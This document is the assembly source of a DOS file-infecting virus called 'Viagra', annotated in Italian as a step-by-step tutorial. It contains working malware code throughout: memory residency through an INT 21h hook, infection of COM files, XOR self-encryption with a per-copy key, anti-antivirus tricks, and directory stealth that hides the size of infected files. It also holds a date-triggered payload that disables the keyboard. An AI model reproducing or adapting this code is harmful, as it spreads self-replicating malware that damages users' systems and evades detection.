Resident ; þ Little Polimorphic Encryption ; þ Directory Stealth ; - Stealth using ah=11h/12h ; - Stealth using ah=4Eh/4Fh ; þ Garbage Instruction to confuse AV ; ; * Effect on Infected System ; þ When Infecting a file a 'V' flash on the top-right corner of screen ; þ RTM executables don't run (bug ?) ; þ On DoS a ball bounch over the screen and system is cut-of :) ; ; DoS ; Every Monday between 13:00 and 13:59 included, between October and December ; and a random number must be smaller than 3400h :) ; Keyboard disabled during operation. ; PC must be rebooted. ; ; * Defect ; þ Poor Anti-Debugging routines ; þ Simple and not-well optimized for "secure" reason ; þ Of course there is some bug ;) ; ; * Some Anti-Virus response ; þ F-Prot says that can be a variant of Int78 Virus ; þ NAV 5.0 recognize it as a New Virus ; þ TBAV can't recognize Viagra as a virus (Hehehe) ; þ SCAN from McAffee not mentioned ? Sorry...do u ; really think it's an AntiVirus ? La prima cosa che devo fare e' conoscere la posizione del virus all'interno del codice xche tutti i riferimenti ai dati sono assoluti. Per sapere dove sono faccio una chiamata a CALL get_offs. L'istruzione CALL pusha in memoria l'IP (per poi recuperarlo con un eventuale RET). Io prelevo l'IP dallo stack, sotraggo la posizione relativa del get_offs ed ottengo, in BP (in questo caso) l'offset ;). start: call get_offs get_offs: pop bp sub bp,offset get_offs ; In BP offset Adesso in BP ho l'offset per tutti i riferimenti ai DATI. Il secondo pass e' controllare se il virus e' crittato. Per fare cio' controllo un particolare dato: ; Check if encrypt lea si,(encrypt_start + bp) cmp byte ptr cs:[si],90h ; Encrypted ? je encrypt_start ; Seems to be not :D Se il corpo e' crittato e' necessario decrittarlo prima che venga eseguito. La crittazione e' con un semplice XOR a chiave variabile. Ogni copia del virus ha la sua chiave specifica (Key). Se non e' crittato, tralascia questa fase. ; Decryption Routine lea si,(Key + bp) mov bx,ds:[si] ; BX = Key lea si,(encrypt_start + bp) ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size of part to decrypt dec_loop: mov ax,word ptr ds:[si] ; 16-Bit simple XOR encryption xor ah,bl xor al,bh mov word ptr ds:[si],ax inc si inc si loop dec_loop encrypt_start: nop Adesso devo controllare se il virus e' gia' in residente in memoria. Per fare cio' utilizzo una particolare chiamata con determinati dati. Se il virus e' gia' residente controlla se siamo per il DoS (Denial of Service) ed esegui programma ospite (regole 1 e 2). mov ax,'VI' ; Controlla se gia' residente mov bx,'Id' ; Comando di Ident int 21h cmp ax,'OK' ; Si,e' residente jmp install Adesso controlla se DoS: ; Virus presente nel sistema ; Controlla se momento DoS mov ah,2Ah ; Get System Date int 21h cmp dl,1 ; Monday ? jne no_more_mem ; Nop...skip... cmp dh,10 ; October or better ? jb no_more_mem ; Nop...skip... mov ah,2Ch ; Get System Time int 21h mov ch,13 ; Between 13:00 and 13:59 ? jne no_more_mem ; Nop...skip... in ax,40h ; Get Random Number cmp ax,3400h ; Smaller than .... ? ja no_more_mem ; Nop...skip... ; Yes ! DoS now ! Si, bisogna eseguire il DoS: mov ax,'VI' ; Controlla se gia' residente mov bx,'Do' ; Comando di DoS int 21h Se errore oppure gia' installato esegui programma ospite. La tecnica e' semplice: rimetto a posto il JUMP iniziale e lo eseguo dall'inzio. Siccome la modifica influenza solo il programma in memoria, il file su disco rimane inalterato: no_more_mem: ; Non ci sono speranze di installare, esegui file ospite. cmp bp,0 ; Ospite presente ? je no_guest ; Nop,esci. ; Copia JMP originale lea si,(OrigJMP + bp) mov di,0100h mov cx,3 ; 3 Word = 6 Bytes rep movsw ; Copia push 0100h ; Alias jmp 0100h :) ret Adesso, siccome il virus non e'installato, devo installarlo in memoria. Per fare cio'ci sono svariate tecniche: la piu' comune e' allocare un blocco di memoria alta e marcarlo come di sistema,per essere invisibile ad un eventuale 'mem': install: call mem_install jmp no_more_mem ; Esci e/o esegui ospite mem_install: ; ----< THIS code ripped from Dark Angel mov ah,4Ah ; Allocate Memory mov bx,0FFFFh ; Ridicolous Size int 21h jmp no_more_mem mov ah,4Ah ; Alter Memory sub bx,(offset end_virus - offset start + 15)/16+1 ; Subtract Virus size int 21h mov ah,48h ; Allocate Memory mov bx,(offset end_virus - offset start + 15)/16 ; Virus size int 21h push ax ; Salva segmento dec ax mov es,ax ; ES = Segment of MCB mov byte ptr es:[0],'Z' ; Last MCB mov word ptr es:[1],0008h ; DOS Owner of this memory pop es ; Riprendilo: ES=Segmento del virus Adesso copia il codice del virus nell'area di memoria per lui allocata: ; Copia virus nella nuova area di memoria ES:DI mov si,bp ; in SI offset mov di,0100h add si,di ; Aggiungi 100h :) mov cx,((offset end_virus - offset start)/2)+1 ; Size in WORD del virus rep movsw ; Copia ! push es push ds mov ax,es ; in DS segmento del virus mov ds,ax ; DS = ES xor ax,ax mov es,ax ; ES = AX = 0 Ora devo reindirizzare le chiamate all'interrupt. Invece di usare le opportune chiamate del MS-DOS preferisco agire al livello piu' basso possibile, modificando direttamente la memoria: mov bx,word ptr es:[4*21h+0] ; OffSet mov ax,word ptr es:[4*21h+2] ; Segmento mov word ptr ds:[INT21h],bx ; Offset mov word ptr ds:[INT21h[2]],ax ; Segmento cli ; Disabilita INT mov word ptr es:[4*21h+0],offset newint21h ; OffSet mov word ptr es:[4*21h+2],ds ; Segmento sti ; Riabilita INT pop ds pop es mov dx,cs mov es,dx ret Se non c'e' un file ospite (xche magari e' il virus originale) esci tranquillamente. no_guest: int 20h nop Questo e' il messaggio che il virus deve contenere per poterne identificare il nome e l'autore. Naturalmente, una volta compilato ed eseguito, il messaggio e' codificato ed invisibile ad occhio nudo. Viagra db "[Viagra]",00h,"* Araknoid v0.1 * D.N.A.! ",13,10 db "Hey man, your computer need some Viagra !$" encrypt_end: ret hlt cli Word che contiene la chiave di codifica/decodifica Key dw 0 Questa e'la parte principale e piu' critica del virus. Questa parte di codice si occupa di infettare e nascondere il virus. Fate attenzione ai passaggi: ; -=> HANDLER Interrupt 21h Questa variabile contiene l'offset dell'interrupt 21h originale. INT21H dd ? Questo primo pezzo serve per interpretare i comandi: newint21h proc far Assume CS:CODE_SEG, DS:Nothing cmp ax,'VI' ; Virus Command ? jne check_call cmp bx,'Id' ; Ident ? jne No_Id ; Nop mov ax,'OK' ; Reply OK :) No_Id: cmp bx,'Do' ; DoS ? jne End_Int ; Nop..exit Interrupt now ! jmp dos ; Yes DoS ! End_Int: ret 2 Adesso si cerca di identificare la chiamata pervenuta (per la documentazione relativa vi consiglio le Ralph Brown Interrupt List): check_call: cmp ah,4Bh ; Load and Execute ? je load_execute cmp ah,11h ; Find First Matching File (Dir Stealth) je dir_stealth cmp ah,12h ; Find Next Matching File (Dir Stealth) je dir_stealth cmp ax,4300h ; Get File Attributes je load_execute cmp ax,4301h ; Set File Attributes je load_execute cmp ah,3Dh ; Open File je load_execute cmp ah,4Eh ; Find First Matching File (Dir Stealth) je newdir_stealth cmp ah,4Fh ; Find First Matching File (Dir Stealth) je newdir_stealth jmp do_int_now Questa e' la procedura di stealth. Il processo e'semplice: ogni volta che si richiede la lista dei file/directory il virus sa' che ad ogni elemento della lista corrisponde un potenziale file infetto. Il virus controlla se e' infetto (Time mark: 62 secondi) e, se lo e', sottrae la dimensione del virus alla dimensione totale del file cosi' la regola 1 e' soddisfatta e l'utente poso attento non si accorge di nulla. dir_stealth: pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now DS:DX point to a valid FCB into DTA ; To stealth i must modify FCB directly there :) push ax push bx push cx push dx push es cmp al,0FFh ; "No More Matching file" je not_to_stealth mov ah,2fh ; Get address to current DTA pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now in ES:BX there is DTA address cmp word ptr es:[bx+08h],'OC' ; First chech if file is a COM jne not_to_stealth mov cx,word ptr es:[bx+16h] ; Check if infected (Sec set to 62) and cx,1Fh ; Reset all unwanted bit :) AND 0000000000011111b cmp cx,1Fh ; Marked ? jne not_to_stealth ; Nopa,skip over ; Now subtract Virus Size to File Size mov cx,word ptr es:[bx+1Ch] ; In CX file size sub cx,(offset end_virus - offset start) ; Subtract it :) mov word ptr es:[bx+1Ch],cx ; Replace over ; Finish ! not_to_stealth: pop es pop dx pop cx pop bx pop ax ret 2 ; Return home :) Adesso cerca di infettare un file eseguito. Prima di infettare il virus deve controllare se il file corriponde ai requisiti richiesti: essere un vero COM e che il nome non inizi per 'W'. load_execute: push ax push bx push cx push dx push es push ds push di push si call InfectIfCom ; DS:DX nome del file pop si pop di pop ds pop es pop dx pop cx pop bx pop ax do_int_now: pushf call INT21H ; Chiama DOS originale ret 2 Questa e' un'altra procedura stealth per le directory. Siccome ne esiste una nuova ed una vecchia per sicurezza ho deciso di "stealtharle" tutte e due :). newdir_stealth: pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now DS:DX point to a valid FCB into DTA ; To stealth i must modify FCB directly there :) jnc do_stealth ; All ok ? ret 2 do_stealth: pushf push ax push bx push cx push dx push es mov ah,2Fh ; Get address to current DTA pushf ; INT 21h call INT21H ; Esegui Chiamata DOS ; Now in ES:BX there is DTA address mov cx,word ptr es:[bx+16h] ; Check if infected (Sec set to 62) and cx,1Fh ; Reset all unwanted bit :) AND 0000000000011111b cmp cx,1Fh ; Marked ? jne newnot_to_stealth ; Nopa,skip over ; Now subtract Virus Size to File Size mov cx,word ptr es:[bx+1Ah] ; In CX file size sub cx,(offset end_virus - offset start) ; Subtract it :) mov word ptr es:[bx+1Ah],cx ; Replace over ; Finish ! newnot_to_stealth: pop es pop dx pop cx pop bx pop ax popf ret 2 ; Return home :) newint21h endp Ora infetta un file COM. Fare molta attenzione ai vari passaggi: ; Infect a COM infect_com: ; --- push 0B800h pop es mov bx,(80-2)*2 mov byte ptr es:[bx],'V' mov byte ptr es:[bx+1],08h ; --- DO ENCRYPTION ------------------- get_rand: in ax,40h ; Get Pseudo-Random Number cmp ax,0 je get_rand mov word ptr cs:[Key],ax ; Key is into AX call EncDec ; Encode ; -------------------------------------- ; Now we are ready to infect but before do it it's safe to save all attrib. ; and Date's and Time's last modify to prevent suspect :) ; Variables is also to prevent stack problem. mov ax,4300h ; Get file attributes pushf ; INT 21h call INT21H ; ----^ mov word ptr cs:[FileATTR],ax mov ax,4301h ; Set File attributes mov cx,00100000b ; Prevent Read-Only et simila pushf ; INT 21h call INT21H ; ----^ mov ah,3dh ; Open File to infect mov al,00000010b ; Read Write Compatibility Mode xor cl,cl pushf ; INT 21h call INT21H ; ----^ jnc do_read ; All Ok,continue :) jmp f_open_err ; If fail, escape now ! :( do_read: push dx ; Salva dati push ds mov bx,cs ; BX = CS mov ds,bx ; DS = BX xchg bx,ax ; BX = File Handle call GetTime ; Salva Data e Ora ultima modifica mov ah,3fh ; Read from file (First 6 Bytes,enought for replace JMP) mov cx,6 ; 6 Byte (2 Anti-TBAV,3 JMP and 6th is Virus Mark) lea dx,OrigJMP ; Point to 6-Byte Buffer pushf ; INT 21h call INT21H ; ----^ jnc do_check ; All ok,continue :) jmp f_common_err ; If error, escape now ! :( do_check: lea si,OrigJMP cmp word ptr cs:[si],'MZ' ; False COM ? je f_common_err ; Shit... cmp word ptr cs:[si],'ZM' ; False COM ? je f_common_err ; Shit... add si,5 ; Pointer to 6th element cmp byte ptr cs:[si],'V' ; Virus Mark Found ? je f_common_err ; File already infected...mmm...exit ! mov ax,4202h ; Seek to the end of file (to have file size) xor cx,cx ; 0 xor dx,dx ; 0 pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( mov di,ax ; DI contains File Size mov ah,40h ; Write to file mov cx,(offset end_virus - offset start) ; Size of virus mov dx,0100h ; Write all VIRUS Code :D pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( mov ax,4200h ; Seek to TOP af file xor cx,cx ; 0 xor dx,dx ; 0 pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( lea si,TempJMP Questa e'la parte in cui si sostituisce la prima istruzione del file in un JMP per eseguire il virus. Attenzione alla tecnica usata per generare il nuovo JMP: mov byte ptr cs:[si],24h ; Anti-TBAV Tricks mov byte ptr cs:[si+1],21h ; --^ mov byte ptr cs:[si+2],0E9h ; JMP Opcode mov ax,di ; AX = File Size sub ax,5 ; Sub 5-Byte of JMP mov byte ptr cs:[si+3],al ; LSB mov byte ptr cs:[si+4],ah ; MSB mov byte ptr cs:[si+5],'V' ; Virus Mark mov ah,40h ; Write to file mov cx,6 ; 6 Byte lea dx,TempJMP ; New JMP pushf ; INT 21h call INT21H ; ----^ jc f_common_err ; Shit, it fail ! :( call SetTime ; Salva Ultima Modifica e Ora f_common_err: mov ah,3eh ; Close file pushf ; INT 21h call INT21H ; ----^ pop ds ; Preleva Dati Salvati pop dx mov ax,4301h ; Set File Attributes (Restore old ones) mov cx,word ptr cs:[FileATTR] pushf ; INT 21h call INT21H ; ----^ f_open_err: mov ax,word ptr cs:[Key] call EncDec ; Decode ; --- mov bx,(80-2)*2 mov byte ptr es:[bx],' ' mov byte ptr es:[bx+1],0Fh ; --- ret Questa e' la procedura di Codifica/Decodifica: ; Key for encode/decode must be stored in AX EncDec: mov bx,ax ; BX is Key lea si,encrypt_start ; SI = Start of encrypted part mov cx,((offset encrypt_end - offset encrypt_start)/2)+1 ; CX Size of part to decrypt enc_loop: mov ax,word ptr cs:[si] ; 16-Bit simple XOR encryption xor ah,bl xor al,bh mov word ptr cs:[si],ax add si,2 loop enc_loop ; Now Write Some Garbage Data ! mov cx,10 lea si,dummydata garb_loop: in ax,40h mov word ptr cs:[si],ax add si,2 loop garb_loop ret Queste sono procedure secondarie GetTime: mov ax,5700h ; Get File Time and Date pushf ; INT 21h call INT21H ; ----^ mov word ptr cs:[FileDATE],dx mov word ptr cs:[FileTIME],cx ret SetTime: mov ax,5701h ; Set File Time and Date mov cx,word ptr cs:[FileTIME] mov dx,word ptr cs:[FileDATE] or cx,1Fh ; Setta secondi a 64 :) pushf ; INT 21h call INT21H ; ----^ ret Alcune variabili: FileATTR dw 0 ; Some Variables FileDATE dw 0 FileTIME dw 0 Ecco una parte interessante: nelle due variabili seguenti viene memorizzato il JUMP originale sia del virus che dell'ospite. TempJMP db 6 DUP(00h) ; Store Temporary New JMP OrigJMP db 6 DUP(00h) ; Store Original JMP Questa procedura controlla che il file scelto sia veramente un .COM. Per prima cosa scanna la stringa alla ricerca dell'ultimo '.' (dot) che sicuramente equivale all'inizio dell'estensione del file. Allora prende il precedente '\' (backslash) che equivale sicuramente al punto di inizio del nome. ; Check if file in DS:DX is a .COM InfectIfCom: mov si,dx ; SI = DX xor di,di ; DI = 0 Is_Loop: cmp byte ptr ds:[si],'.' ; Ext ? je Is_Ex cmp byte ptr ds:[si],'\' ; Reminder last '\' jne Is_NoD ; Nopa mov di,si ; DI = Last '\' Is_NoD: inc si cmp byte ptr ds:[si],00h ; Fine ? jne Is_Loop Is_No: ret Is_Ex: inc di ; Seek on first letter of File Name cmp byte ptr ds:[di],'W' ; File Name start with 'W' ? je Is_No ; Yes, don't infect (can be WIN.COM) inc si cmp byte ptr ds:[si],'C' jne Is_No inc si cmp byte ptr ds:[si],'O' jne Is_No inc si cmp byte ptr ds:[si],'M' jne Is_No jmp infect_com E questa e'la routine del DoS: ; ---- ; ; DoS Routine posx db 01h posy db 01h dirx db 00h diry db 00h dos: ; Disable Keyboard input cli ; Disabilita INT mov bx,word ptr es:[4*03h+0] mov dx,word ptr es:[4*03h+2] mov word ptr es:[4*09h+0],bx ; OffSet mov word ptr es:[4*09h+2],dx ; Segmento sti ; Riabilita INT mov ah,09h ; Display String lea dx,Viagra pushf ; INT 21h call INT21H ; ----^ ... ; End of Sign dummydata db 20 DUP(90h) end_virus: CODE_SEG ENDS END start